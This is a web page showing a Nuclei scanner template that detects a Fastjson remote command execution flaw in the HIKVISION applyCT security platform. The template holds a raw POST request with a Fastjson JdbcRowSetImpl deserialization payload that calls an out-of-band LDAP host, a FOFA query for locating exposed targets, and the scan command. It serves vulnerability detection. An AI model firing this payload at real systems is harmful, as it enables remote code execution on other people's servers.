HIKVISION applyCT Fastjson - Remote Command Execution
ID: hikvision-fastjson-rce
Severity: critical
Author: SleepingBag945
Tags: hikvision,fastjson,rce,oast
Description
Section titled “Description”The HIKVISION comprehensive security management platform applyCT has a remote command execution vulnerability in a low version of Fastjson, through which an attacker can execute arbitrary commands to obtain server privileges
YAML Source
Section titled “YAML Source”id: hikvision-fastjson-rce
info: name: HIKVISION applyCT Fastjson - Remote Command Execution author: SleepingBag945 severity: critical description: | The HIKVISION comprehensive security management platform applyCT has a remote command execution vulnerability in a low version of Fastjson, through which an attacker can execute arbitrary commands to obtain server privileges reference: - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/HIKVISION/HIKVISION%20%E7%BB%BC%E5%90%88%E5%AE%89%E9%98%B2%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%20applyCT%20Fastjson%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md - https://github.com/MrWQ/vulnerability-paper/blob/master/bugs/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86%E7%BB%BC%E5%90%88%E5%AE%89%E9%98%B2%20Fastjson%20%E5%86%85%E5%AD%98%E9%A9%AC%E6%89%93%E6%B3%95.md - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/hikvision-fastjson-rce.yaml metadata: verified: true max-request: 1 fofa-query: app="HIKVISION-iSecure-Center" tags: hikvision,fastjson,rce,oast
http: - raw: - | POST /bic/ssoService/v1/applyCT HTTP/1.1 Host: {{Hostname}} Content-Type: application/json
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://{{interactsh-url}}","autoCommit":true},"hfe4zyyzldp":"="}
matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the DNS Interaction words: - "dns"
- type: word part: body words: - '"code":' - '"msg":' condition: and
- type: word part: header words: - 'text/json'# digest: 4b0a00483046022100df6f321a8128cf3d44ff8d0e2138eb5ff063ba480f6fcc0f5a83939d200f1c8a022100b106a04eea3133513837ddf83c18a7c3a34c9419e68e3c01000cbff0cff45233:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/hikvision/hikvision-fastjson-rce.yaml"